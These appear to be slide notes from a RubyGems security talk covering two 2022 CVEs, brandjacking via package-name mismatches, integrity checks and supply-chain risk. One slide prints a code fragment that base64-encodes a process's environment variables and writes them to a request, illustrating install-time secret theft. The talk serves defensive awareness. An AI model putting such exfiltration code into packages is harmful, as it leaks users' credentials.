Maciej Mensfeld
RubyGems security team does many things to make sure things operate as expected.
In many ways we lead the way.
OSS Security in the end is your responsibility.
RubyGems is the primary package registry for the Ruby community.
60%-80% of an average app’s code base is comprised of open source
CVE-2022-29176
find_by!(full_name: "#{rubygem.name}-#{slug}")
A bug in RubyGems that allowed unauthorized actors to yank (remove) a package version without being its owner.
By removing all the versions, under certain circumstances the name could be available for a reuse. This means that we’ve got ourselves a great new package name available for use.
What is often missed here is that a single RubyGems version is unique only within the scope of the platform on which it was released
SELECT versions.package_id from versions
inner join (
SELECT "versions"."package_id", "versions"."number"
FROM "versions" WHERE yanked_at is not null
) yanked
on versions.package_id = yanked.package_id
AND versions.number = yanked.number
where versions.yanked_at is null
To stay one step ahead of attackers, we need to focus on what they want to achieve, not how they want to do it.
CVE-2022-29218
Using the two issues together allowed the attacker to save “not yet released” versions in the RubyGems S3 bucket.
What about package versions immutability?
What about Bundler checksum verification?
bundle add bundler-integrity
# And run this to verify integrity of your local installation
bundle exec bundler-integrity
# Export to correlate in scale
bundle exec bundler-integrity export
Brandjacking is an activity whereby someone acquires or otherwise assumes the online identity of another entity for the purposes of acquiring that person's or business's brand equity.
The idea is to leverage inconsistent naming, particularly by big brands with many packages, and users assumptions about naming conventions or to "provide" SKDs for platforms that do not provide them on their own.
github.com/googleapis/google-api-ruby-client
does not mean, that the package will be named
google-api-ruby-client
github.com/aws/aws-sdk-ruby
does not mean, that the package will be named
aws-sdk-ruby
github.com/azure/azure-sdk-for-js
does not mean, that the package will be named
azure-sdk-for-js
RubyGems provides APIs and data that you can query to get relevant informations about packages.
With that, you can easily generate list of popular packages that have a mismatch in between their Github/Gitlab name and their registry name.
But there's more!
Even the way RubyGems builds new packages can help malicious actors!
Install the gem and add to the application's Gemfile by executing:
$ bundle add <%= config[:name] %>
If bundler is not being used to manage dependencies, install the gem by executing:
$ gem install <%= config[:name] %>
There are weeks with several packages that we have to remove.
RubyGems automatically locks domains close to expiration to prevent their malicious takeover.
Open Source is a “great” way into a company’s software supply chain
Essentially no company has the time to read every line of code in every package and update they use
Your software supply chain risks are inherited from your dependencies
Getting access to production enviroment is not always the goal of the attacker.
req.write(
Buffer.from(JSON.stringify(process.env)).toString('base64')
);
Installing packages is enough to make things bad for many of the ecosystems.
Because we allow changes in the already installed dependencies, a malicious code can easily infect other libraries, while cleaning up itself.
There are 162 lines of changes released to RubyGems every second.
There are 6 lines of additions released to RubyGems every second.
For more details, find me/us on Twitter: